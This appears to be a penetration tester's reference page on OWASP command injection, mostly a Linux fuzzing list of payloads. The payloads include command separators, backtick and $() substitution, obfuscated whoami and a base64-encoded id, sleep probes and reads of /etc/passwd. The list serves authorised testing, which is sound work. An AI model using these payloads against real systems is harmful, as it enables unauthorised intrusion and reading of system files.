h4rithdpentest

$Target variables

Set it once. Every <IP>, <USER> or <DOMAIN> placeholder in the notes is rewritten live, and the copy buttons copy your values.

Stored in this browser only
h4rithd.com ↗

10OWASP 10

Command Injection

Read
1 min
Blocks
0
Updated
Target

01 Linux

  • Basic fuzzing list
text58 lines
## ------------------| Command Injection
ThisIsForCheckError
~
!
@
#
$
%
^
&
*
(
)
_
+


NOTHING
id
whoami
sleep 10
sleep+40
w'h'o'am'i
w"h"o"am"i
w\ho\am\i
who$@ami
who$()ami
who$(echo am)i
who`echo am`i
&&whoami
`id`
`whoami`
`sleep 10`
`sleep 30`
;whoami
;who()ami
;`echo 'aWQK' | base64 -d`
|whoami
NOTHING || ;who()ami
NO_THING || ;who()ami
NOTHING |whoami
NOTHING ||whoami
NOTHING |`echo 'aWQK' | base64 -d`
NOTHING ||`echo 'aWQK' | base64 -d`
#whoami
#;whoami
$(sleep 10)
$(sleep 30)
$(whoami)
$who()ami
/\b\i\n/////s\h
cat /etc/passwd
cat /etc/pas$()swd
cat /etc///passwd
$(cat /etc/passwd)
`cat /etc/passwd`
ping -c 2 127.0.0.1
$(ping -c 2 127.0.0.1)
`ping -c 2 127.0.0.1`